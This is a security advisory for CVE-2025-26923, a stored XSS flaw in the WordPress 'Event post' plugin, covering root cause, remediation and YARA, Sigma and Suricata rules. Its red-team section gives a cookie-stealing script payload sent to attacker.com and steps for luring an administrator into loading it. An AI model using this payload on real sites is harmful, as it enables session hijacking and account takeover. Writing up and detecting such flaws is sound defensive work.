CVE-2025-26923

Executive Summary

CVE-2025-26923 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin "Event post" by Bastien Ho, affecting versions up to and including 5.9.8. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an authenticated attacker with contributor-level privileges or higher to inject arbitrary JavaScript into event posts. When an administrator or other user views the compromised post, the malicious script executes in their browser session, potentially leading to session hijacking, credential theft, or defacement.

This vulnerability is part of the WordPress ecosystem and does not affect Apache or Nginx directly. The CVSS score is 6.5 (Medium), with a low EPSS probability (0.0%) indicating limited active exploitation at the time of analysis. No public proof-of-concept (PoC) or exploit code is available, but the attack vector is straightforward for any attacker with basic WordPress knowledge.

Supply Chain & Package Security

The vulnerable component is a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin via the WordPress dashboard or manual upload are affected. No supply chain compromise of the repository itself has been identified, but the lack of a patch from the vendor increases the risk of unpatched installations being targeted.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Attacker needs contributor-level access or higher.
• User Interaction (UI): Required (R) – Victim must view the malicious post.
• Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure possible.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): Low (L) – Limited impact on availability.

Threat Level: Medium. While the CVSS score is 6.5, the requirement for authenticated access and user interaction reduces the immediate risk. However, in a multi-author WordPress environment, the impact can be significant.

Deep Dive & Mechanics

The vulnerability resides in the event-post plugin's handling of event post content. The plugin fails to sanitize or escape user-supplied input before storing it in the database and later rendering it in the browser. Specifically, fields such as event titles, descriptions, or custom meta fields are not properly filtered.

Attack Flow:

1. An attacker with contributor-level access creates or edits an event post.
2. The attacker injects malicious JavaScript into a vulnerable field (e.g., <script>alert('XSS')</script>).
3. The plugin stores the payload in the WordPress database without sanitization.
4. When an administrator or other user views the event post, the script executes in their browser.

Root Cause: The plugin uses functions like echo $event_title or the_content() without applying WordPress escaping functions such as esc_html() or wp_kses_post().

Vulnerable vs. Patched Code

Vulnerable Code (event-post.php, line ~245):

echo '<h2>' . $event->post_title . '</h2>';

Patched Code (hypothetical fix):

echo '<h2>' . esc_html( $event->post_title ) . '</h2>';

The vulnerable code directly outputs the post title without escaping, allowing HTML/JavaScript injection. The patched version uses esc_html() to neutralize any HTML tags.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• WordPress instance with Event post plugin <= 5.9.8
• Contributor-level account credentials

Steps:

1. Log in as a contributor.
2. Navigate to Events > Add New.
3. In the title field, enter: <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
4. Publish the event.
5. Wait for an admin to view the event, or send a direct link to the admin.

Expected Outcome: The admin's session cookie is exfiltrated to the attacker's server.

Blue Team (Detection & Hardening)

Detection:

• Monitor for event posts containing <script> tags or unusual HTML in titles/descriptions.
• Use Web Application Firewall (WAF) rules to block XSS payloads in POST requests to /wp-admin/post.php.

Hardening:

• Disable the plugin until a patch is available.
• Implement Content Security Policy (CSP) headers to block inline scripts.
• Restrict contributor-level access to trusted users only.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to unknown domains containing cookie data (e.g., GET /steal?cookie=...).
• Host: Event posts in the database containing <script> tags in post_title or post_content fields.
• Logs: WordPress audit logs showing creation of events with suspicious titles by non-admin users.

Detection Engineering

YARA Rule

rule CVE_2025_26923_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Event post plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-26923"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $event_post = /event-post/i
    condition:
        $xss_payload and $event_post
}

Sigma Rule

title: Stored XSS in Event Post Plugin
id: 8a7b3c2d-1e5f-4a6b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects creation of event posts with script tags
author: Valters IT
logsource:
    category: application
    product: wordpress
detection:
    selection:
        EventName: "*<script>*"
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in posts (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-26923 Stored XSS Exfiltration"; flow:to_server,established; content:"GET"; http_method; content:"/steal?cookie="; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Audit existing event posts for malicious content using the YARA rule above.
3. Remove any suspicious posts and reset affected user passwords.

Long-term Fix:

• The vendor must release a patched version that escapes all output. If no patch is forthcoming, consider forking the plugin or switching to an alternative.

Workaround:

• Add a custom function to functions.php that sanitizes event post titles:

add_filter( 'the_title', 'esc_html', 10, 1 );

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Analyst